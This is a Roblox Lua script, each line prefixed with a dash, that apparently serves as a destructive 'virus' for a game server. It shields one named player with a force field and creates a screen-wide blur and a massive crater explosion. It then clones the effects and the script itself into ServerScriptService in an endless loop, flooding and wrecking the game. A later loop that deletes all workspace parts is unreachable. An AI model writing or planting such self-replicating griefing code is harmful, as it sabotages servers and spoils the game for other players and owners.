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- for _,player in ipairs(game.Players:GetPlayers()) do
- if player.Name == "killerbrenden" then
- local FF = Instance.new("ForceField")
- FF.Name = "Protection"
- FF.Parent = game.Players.killerbrenden.Character
- end
- wait(3)
- local Destroyer = Instance.new("BlurEffect")
- Destroyer.Parent = game.Lighting
- Destroyer.Enabled = true
- Destroyer.Name = "Destroyer"
- Destroyer.Size = 1000
- local Bomber = Instance.new("Explosion")
- Bomber.BlastPressure = 10000
- Bomber.BlastRadius = 100000000
- Bomber.DestroyJointRadiusPercent = 100000
- Bomber.ExplosionType = Enum.ExplosionType.CratersAndDebris
- Bomber.Name = "Destroyer"
- Bomber.Parent = game.Workspace
- while true do
- local CDestroyer = Destroyer:Clone()
- local CBomebr = Bomber:Clone()
- local CScript = script:Clone()
- CDestroyer.Parent = game.Lighting
- CBomebr.Parent = game.Workspace
- CScript.Parent = game:GetService("ServerScriptService")
- wait()
- end
- for _,parts in ipairs(game.Workspace:GetChildren()) do
- parts:Destroy()
- end
- end
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